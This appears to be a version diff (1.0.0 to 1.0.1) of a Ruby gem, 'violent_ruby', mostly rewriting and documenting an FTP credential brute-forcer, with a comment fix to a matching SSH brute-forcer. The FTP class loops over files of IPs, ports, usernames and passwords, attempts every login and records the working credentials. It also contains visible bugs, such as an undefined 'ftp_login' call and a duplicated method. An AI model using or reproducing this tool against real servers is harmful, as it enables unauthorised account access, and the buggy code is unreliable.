violent_ruby 1.0.0 → 1.0.1

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: b695549147a05c96fe7b4826dfb03e5db7510ccf
-  data.tar.gz: c4320ebaa7cf05c18b4b2ad0f4dd3a5fe56513c8
+  metadata.gz: cda346e57dd13576d7868364849f39b07f1d3358
+  data.tar.gz: b2bab88d80cfcdcf1905d37e5133290ff2ffacee
 SHA512:
-  metadata.gz: b458561b7678717776fa90a8d49ef9a5860f505b7f5c21f2d6b138f25891b030c3898085ce0d8bfff6653c462c1db7033fa1233ff9899890379bc96875cfaed0
-  data.tar.gz: fbf8936c616b3832a4f9d6926debac7b3b13e38dbb390b2a501aa17f2dd84da2350fea8d56bb049d5525f691c2744ddafb7a140cc3a732ef2c09d3829c78c2a1
+  metadata.gz: 24d0dd09c999a3e0115b2c845257e01c24d4c4aa662e2c587cf103b0e3811be120c85d3da92af7efbc2ec32708e4effb333155c4d9a406575f0c31b61ee8658e
+  data.tar.gz: d04fa5bd6b888b5210a2332ca099046566296f22977a996b484f82a11c381305269199b40009813f143fee9ab87dde8b6d3298ace24ebc62d413eec287686ad4

data/lib/violent_ruby/ftp_brute_forcer/ftp_brute_forcer.rb

@@ -1,143 +1,208 @@
 require 'net/ftp'
 
 module ViolentRuby
-  # The Ftp Brute Forcer class provides a simply way to 
-  # brute-force an FTP server's credentials. 
-  # @author Kent 'picat' Gruber
-  #
-  # @example Basic Usage
-  #   ftp = FtpBruteForcer.new
-  #   ftp.users     = "resources/ftp_users.txt"
-  #   ftp.passwords = "resources/ftp_passwords.txt"
-  #   ftp.ips       = "resources/ftp_ips.txt"
-  #   ftp.ports     = "resources/ftp_ports.txt"
-  #   # brue'm!
-  #   ftp.brute_force!
-  #   # => results
-  #
-  class FtpBruteForcer 
+	# The Ftp Brute Forcer class provides a simply way to 
+	# brute-force an FTP server's credentials. 
+	# @author Kent 'picat' Gruber
+	#
+	# @example Basic Usage
+	#   ftp = FtpBruteForcer.new
+	#   ftp.users     = "resources/ftp_users.txt"
+	#   ftp.passwords = "resources/ftp_passwords.txt"
+	#   ftp.ips       = "resources/ftp_ips.txt"
+	#   ftp.ports     = "resources/ftp_ports.txt"
+	#   # brue'm!
+	#   ftp.brute_force!
+	#   # => results
+	#
+	class FtpBruteForcer 
+		# @attr [String] users Path to file containing users.
     attr_accessor :users
-    attr_accessor :passwords
-    attr_accessor :ips
-    attr_accessor :ports
-
-    # Create a new Ftp Brute Forcer.
-    #
-    # @param [Hash] args The options to create a new Ftp Brute Forcer.
-    # @param args [String] :users The path to a file of users to attempt.
-    # @param args [String] :passwords The path to a file of passwords to attempt.
-    # @param args [String] :ips The path to a file of server ips to attempt to connect to.
-    # @param args [String] :ports The path to a file of service ports to attempt to connect to.
-    def initialize(args = {})
-      @users     = args[:users]     if args[:users]     && File.readable?(args[:users]) 
-      @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
-      @ips       = args[:ips]       if args[:ips]       && File.readable?(args[:ips])
-      @ports     = args[:ports]     if args[:ports]     && File.readable?(args[:ports])
-      @ftp       = Net::FTP.new
-    end
-
-    # Brute force some'a dem FTP login credz.
-    #
-    # @param [Hash] args The options to brute force. 
-    # @param args [String] :users The path to a file of users to attempt.
-    # @param args [String] :passwords The path to a file of passwords to attempt.
-    # @param args [String] :ips The path to a file of server ips to attempt to connect to.
-    # @param args [String] :ports The path to a file of service ports to attempt to connect to.
-    def brute_force(args = {})
-      meets_our_requirements?(args) 
-      results   = []
-      ips       = args[:ips]        || @ips 
-      ports     = args[:ports]      || @ports
-      users     = args[:users]      || @users
-      passwords = args[:passwords]  || @passwords
-      iterate_over(ips).each do |ip|
-        iterate_over(ports).each do |port|
-          next unless connectable?(ip: ip, port: port)
-          binding.pry
-          iterate_over(users).each do |user|
-            iterate_over(passwords).each do |password|
-              if able_to_login?(ip: ip, port: port, username: user, password: password)
-                puts "yup"
-                results << format_result("SUCCESS", ip, port, user, password)
-              else
-                puts "nope"
-                results << format_result("FAILURE", ip, port, user, password)
-              end
-            end
-          end
-        end
-      end
-      results
-    end
-
-    def connectable?(args = {})
-      @ftp.connect(args[:ip], args[:port])
-      return true if @ftp.last_response_code == "220"
-      false
-    rescue
-      false
-    end
-
-    def able_to_login?(args = {})
-      #@ftp_login ||= Net::FTP.new
-      @ftp.connect(args[:ip], args[:port])
-      @ftp.login(args[:username], args[:password]) 
-      if @ftp.welcome == "230 Login successful.\n"
-        @ftp.close
-        return true
-      end
-      ftp_login.quit
-      false
-    rescue
-      false
-    end
-
-    alias brute_force! brute_force
-
-    private
-
-    def format_result(type, ip, port, user, password)
-      { time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
-    end
-
-
-    def iterate_over(file)
-      File.foreach(file).map(&:strip)
-    end
-
-    def meets_our_requirements?(args = {})
-      raise "No ip addresses to connect to." unless ips?(args)
-      raise "No ports to connect to." unless ports?(args)
-      raise "No passwords to try." unless passwords?(args)
-      raise "No users to try." unless users?(args)
-      true
-    end
-
-    def ips?(args = {})
-      return true if args[:ips]
-      return true if @ips
-      false 
-    end
-
-    def passwords?(args = {})
-      return true if args[:passwords]
-      return true if @passwords
-      false
-    end
-
-    def ports?(args = {})
-      return true if args[:ports]
-      return true if @ports
-      false
-    end
-
-    def users?(args = {})
-      return true if args[:users]
-      return true if @users
-      false
-    end
-
-
-
-  end
+    # @attr [String] passwords Path to file containing passwords.
+		attr_accessor :passwords
+    # @attr [String] ips Path to file containing ip addresses.
+		attr_accessor :ips
+    # @attr [String] ports Path to file containing ports.
+		attr_accessor :ports
+
+		# Create a new Ftp Brute Forcer.
+		#
+		# @param [Hash] args The options to create a new Ftp Brute Forcer.
+		# @param args [String] :users The path to a file of users to attempt.
+		# @param args [String] :passwords The path to a file of passwords to attempt.
+		# @param args [String] :ips The path to a file of server ips to attempt to connect to.
+		# @param args [String] :ports The path to a file of service ports to attempt to connect to.
+		def initialize(args = {})
+			@users     = args[:users]     if args[:users]     && File.readable?(args[:users]) 
+			@passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
+			@ips       = args[:ips]       if args[:ips]       && File.readable?(args[:ips])
+			@ports     = args[:ports]     if args[:ports]     && File.readable?(args[:ports])
+			@ftp       = Net::FTP.new
+		end
+
+		# Brute force some'a dem FTP login credz.
+		#
+		# @param [Hash] args The options to brute force. 
+		# @param args [String] :users The path to a file of users to attempt.
+		# @param args [String] :passwords The path to a file of passwords to attempt.
+		# @param args [String] :ips The path to a file of server ips to attempt to connect to.
+		# @param args [String] :ports The path to a file of service ports to attempt to connect to.
+		def brute_force(args = {})
+			meets_our_requirements?(args) 
+			results   = []
+			ips       = args[:ips]        || @ips 
+			ports     = args[:ports]      || @ports
+			users     = args[:users]      || @users
+			passwords = args[:passwords]  || @passwords
+			iterate_over(ips).each do |ip|
+				iterate_over(ports).each do |port|
+					next unless connectable?(ip: ip, port: port)
+					iterate_over(users).each do |user|
+						iterate_over(passwords).each do |password|
+							if able_to_login?(ip: ip, port: port, username: user, password: password)
+								result = format_result("SUCCESS", ip, port, user, password)
+							else
+								result = format_result("FAILURE", ip, port, user, password)
+							end
+							results << result
+							yield result if block_given?
+						end
+					end
+				end
+			end
+			results
+		end
+
+		# brute_force! is the same as brute_force
+		alias brute_force! brute_force
+
+		# Check if a given IP address and port can connceted to.
+		# @see #brute_force
+		# @param [Hash] args the options to brute force. 
+		# @param args [String] :ip The ip address to attempt to connect to.
+		# @param args [String] :port The port to attempt to connect to.
+		# @return [Boolean]
+		def connectable?(args = {})
+			@ftp.connect(args[:ip], args[:port])
+			return true if @ftp.last_response_code == "220"
+			false
+		rescue
+			false
+		end
+
+		# Check if a given IP address, port, username and passwords 
+		# are correct to login.
+		# @see #brute_force
+		# @param [Hash] args 
+		# @param args [String] :ip 
+		# @param args [String] :port 
+		# @param args [String] :username
+		# @param args [String] :password
+		# @return [Boolean]
+		def able_to_login?(args = {})
+			@ftp.connect(args[:ip], args[:port])
+			@ftp.login(args[:username], args[:password]) 
+			if @ftp.welcome == "230 Login successful.\n"
+				@ftp.close
+				return true
+			end
+			ftp_login.quit
+			false
+		rescue
+			false
+		end
+
+
+		private
+
+		# @api private
+		# Format the results from brute force attempts.
+		# @see #brute_force
+		# @param [String] type 
+		# @param [String] ip
+		# @param [Integer] port
+		# @param [String] user 
+		# @param [String] password 
+		# @return [Hash]
+		def format_result(type, ip, port, user, password)
+			{ time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
+		end
+
+		# @api private
+		# Iterate over each line in a file, stripping each line as it goes.
+		# @see File
+		# @param [String] file 
+		# @return [Enumerator]
+		def iterate_over(file)
+			File.foreach(file).map(&:strip)
+		end
+
+		# @api private
+		# Check if the given arguments contain an ip, port, password and user files.
+		# @see #brute_force
+		# @param [Hash] args the options to brute force. 
+		# @param args [String] :ips
+		# @param args [String] :ports
+		# @param args [String] :passwords
+		# @param args [String] :users
+		# @return [Boolean]
+		def meets_our_requirements?(args = {})
+			raise "No ip addresses to connect to." unless ips?(args)
+			raise "No ports to connect to." 			 unless ports?(args)
+			raise "No passwords to try." 					 unless passwords?(args)
+			raise "No users to try." 							 unless users?(args)
+			true
+		end
+
+		# @api private
+		# Check if the given arguments contains ips, or has been set.
+		# @see #meets_our_requirements?
+		# @param [Hash] args the options to brute force. 
+		# @param args [String] :ips
+		# @return [Boolean]
+		def ips?(args = {})
+			return true if args[:ips] || @ips
+			false 
+		end
+
+		# @api private
+		# Check if the given arguments contains passwords, or has been set.
+		# @see #meets_our_requirements?
+		# @param [Hash] args 
+		# @param args [String] :passwords
+		# @return [Boolean]
+		def passwords?(args = {})
+			return true if args[:passwords] || @passwords
+			false
+		end
+		def passwords?(args = {})
+			return true if args[:passwords] || @passwords
+			false
+		end
+
+		# @api private
+		# Check if the given arguments contains ports, or has been set.
+		# @see #meets_our_requirements?
+		# @param [Hash] args 
+		# @param args [String] :ports
+		# @return [Boolean]
+		def ports?(args = {})
+			return true if args[:ports] || @ports
+			false
+		end
+
+		# @api private
+		# Check if the given arguments contains users, or has been set.
+		# @see #meets_our_requirements?
+		# @param [Hash] args 
+		# @param args [String] :users
+		# @return [Boolean]
+		def users?(args = {})
+			return true if args[:users] || @users
+			false
+		end
+
+
+
+	end
 end

data/lib/violent_ruby/ssh_brute_forcer/ssh_brute_forcer.rb

@@ -14,7 +14,7 @@ module ViolentRuby
   #   ssh.ips       = "resources/ssh_ips.txt"
   #   ssh.ports     = "resources/ssh_ports.txt"
   #   # brue'm!
-  #   ftp.brute_force!
+  #   ssh.brute_force!
   #   # => results
   #
   class SSHBruteForcer 
@@ -24,7 +24,7 @@ module ViolentRuby
     attr_accessor :passwords
     # @attr [String] ips Path to file containing ip addresses.
     attr_accessor :ips
-    # @attr [String] ips Path to file containing ports.
+    # @attr [String] ports Path to file containing ports.
     attr_accessor :ports
 
     # Create a new SSH Brute Forcer.

data/lib/violent_ruby/version.rb

@@ -1,3 +1,3 @@
 module ViolentRuby
-  VERSION = "1.0.0"
+  VERSION = "1.0.1"
 end

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: violent_ruby
 version: !ruby/object:Gem::Version
-  version: 1.0.0
+  version: 1.0.1
 platform: ruby
 authors:
 - Kent Gruber